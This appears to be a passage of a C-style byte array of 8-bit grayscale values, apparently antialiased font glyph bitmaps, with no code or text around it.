0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x93,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xF7, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xEA, 0xFF,
0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0xFF, 0xFF, 0xA4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D,
0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF,
0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xE1, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1E, 0xFF, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x78, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xF7, 0xFF, 0xFF, 0x9C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xF0, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xEF,
0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF, 0x6F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x12, 0xEF, 0xFF, 0xFF, 0xFC, 0x60, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFA, 0xFF, 0xFF, 0xFF,
0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3, 0x8D,
0x8B, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9B, 0xFF, 0xFF, 0xE1, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xEB, 0x56, 0x2E, 0xFF, 0xFF, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x47, 0x81, 0x98, 0x65, 0x2C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC1,
0xAB, 0x93, 0x63, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xB3, 0x21, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x9C, 0x73, 0x73, 0x73, 0x73, 0x75, 0x97, 0xC6, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x59, 0xF5, 0xFF, 0xFF, 0xFF, 0xF6, 0x23, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xDE, 0xFF, 0xFF, 0xFF,
0x92, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF, 0xFF, 0xFF, 0xF3, 0x0F, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF,
0xFF, 0x72, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xFF, 0xFF, 0xFF, 0xAB, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xFF, 0xFF,
0xFF, 0xCA, 0x00, 0x78, 0xC1, 0xE2, 0xFF, 0xFF, 0xFF, 0xD6, 0xC1, 0xC1, 0xC1, 0xC1, 0xC1, 0xC1,
0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF3, 0xFF, 0xFF, 0xE9, 0x00, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD7, 0xFF,
0xFF, 0xFF, 0x08, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xFF, 0xFF, 0xFF, 0x12, 0x5D, 0x98, 0xCC, 0xFF, 0xFF,
0xFF, 0xB7, 0x98, 0x98, 0x98, 0x98, 0x98, 0x98, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0xFF,
0xFF, 0xF9, 0x01, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xF9, 0xFF,
0xFF, 0xC7, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF,
0xFF, 0x46, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x21, 0xFB, 0xFF, 0xFF, 0xEB, 0x04, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xCA, 0xFF, 0xFF, 0xFF,
0x92, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x20, 0xBE, 0xFF, 0xFF, 0xFF, 0xE9, 0x13, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0x70, 0x37, 0x37, 0x37, 0x37, 0x38, 0x4F, 0x6F, 0x9C, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0x57,
0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1, 0x4B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xEA, 0xCC, 0xA9, 0x4F, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xDD, 0xDD, 0xBE, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x75, 0x75, 0x75, 0x75,
0xAF, 0xFF, 0xFF, 0xF4, 0x75, 0x73, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEE,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD0, 0xE5, 0xE5, 0xE5, 0xE5, 0xF4, 0xFF, 0xFF, 0xFF, 0xE5, 0xE3, 0x11, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x4B, 0x6E, 0x68, 0x46, 0x05, 0x00,
0x62, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xDA, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xE6, 0x56, 0x62, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xF9,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xC3, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00,
0x00, 0x51, 0xFE, 0xFF, 0xFF, 0xFF, 0xE8, 0xB0, 0xA4, 0xDA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x00, 0x01, 0xD3, 0xFF, 0xFF, 0xFF, 0x95, 0x05, 0x00, 0x00, 0x00, 0x74, 0xFC,
0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0x93, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xF7,
0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xEA, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00,
0xE9, 0xFF, 0xFF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x0D, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x75, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x58, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0x63,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x1E,
0xFF, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x02, 0xF7, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9A, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xF0, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xEF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x8E, 0xFF, 0xFF, 0xFF,
0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00,
0x12, 0xEF, 0xFF, 0xFF, 0xFC, 0x60, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFA, 0xFF, 0xFF, 0xFF, 0xE1,
0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3, 0x8D, 0x8B, 0xBB, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x9B, 0xFF, 0xFF, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63,
0xF8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x56, 0x2E, 0xFF, 0xFF, 0xDC, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x47, 0x81, 0x98, 0x65, 0x2C, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x35, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xAB, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xBF, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0x99, 0x82, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x9B,
0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x49, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xE7, 0xD3, 0xD3, 0xD3, 0xD3,
0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xA1, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x05, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x4A,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x21, 0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4D, 0xEE, 0xFF, 0xEE, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x54, 0xFC, 0xFF, 0xE2, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xFF, 0xFF, 0x1E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55,
0xFF, 0xFF, 0xFF, 0xD3, 0x80, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x1D, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xF8, 0xFF, 0xFF, 0xFF, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x50, 0x5B,
0x3C, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x33, 0x65, 0x84,
0x7D, 0x5B, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x87, 0xFA, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF8, 0xA1, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xC3, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEC, 0x37, 0x00, 0x00, 0x00, 0x08, 0xDE, 0xFF, 0xFF, 0xFF,
0xE8, 0xA5, 0x88, 0xB5, 0xED, 0xFF, 0xFF, 0xFF, 0xEB, 0x1B, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF,
0xAB, 0x11, 0x00, 0x00, 0x00, 0x0A, 0xBD, 0xFF, 0xFF, 0xFF, 0x81, 0x00, 0x17, 0xF2, 0xFF, 0xFF,
0xC7, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xCB, 0xFF, 0xFF, 0xE0, 0x01, 0x76, 0xFF, 0xFF,
0xFF, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0x42, 0x9E, 0xFF,
0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF, 0xFF, 0x74, 0xC4,
0xFF, 0xFF, 0xFD, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xFF, 0xFF, 0xFF, 0x8F,
0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x98, 0xFA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x98, 0xD8, 0xFF, 0xFF, 0xC1, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10,
0x10, 0x10, 0x07, 0xB2, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF, 0xFF, 0xFE, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x36, 0xF8, 0xF8, 0xF8, 0x45, 0x4B, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xC0, 0xFF, 0xFF, 0xF4, 0x0B, 0x00, 0xB7, 0xFF, 0xFF, 0xFE, 0x7C, 0x01, 0x00, 0x00, 0x00,
0x0A, 0x9A, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x25, 0xF9, 0xFF, 0xFF, 0xFF, 0xC9, 0x8E, 0x72,
0x98, 0xDE, 0xFF, 0xFF, 0xFF, 0xDF, 0x10, 0x00, 0x00, 0x00, 0x55, 0xF0, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xC1, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0x9C, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x26,
0x79, 0xFF, 0xFF, 0xFF, 0xD5, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x2C, 0xE8, 0xFF, 0xF9, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0xD5, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xFF, 0x9E, 0x3C, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x5A, 0x95, 0x9F, 0x80, 0x42, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x34, 0x34, 0x25, 0x00, 0x00, 0x00, 0x12, 0x34, 0x34,
0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0xFD, 0xFF, 0xF7, 0x2C, 0x00,
0x02, 0xC1, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89,
0xFF, 0xFF, 0xD1, 0x06, 0x78, 0xFF, 0xFF, 0xDE, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x06, 0xCF, 0xFF, 0xFF, 0xBB, 0xFA, 0xFF, 0xFC, 0x3A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0xF7, 0xFF, 0xFF, 0xFF, 0xFF, 0x82, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFC, 0xFC,
0xFC, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
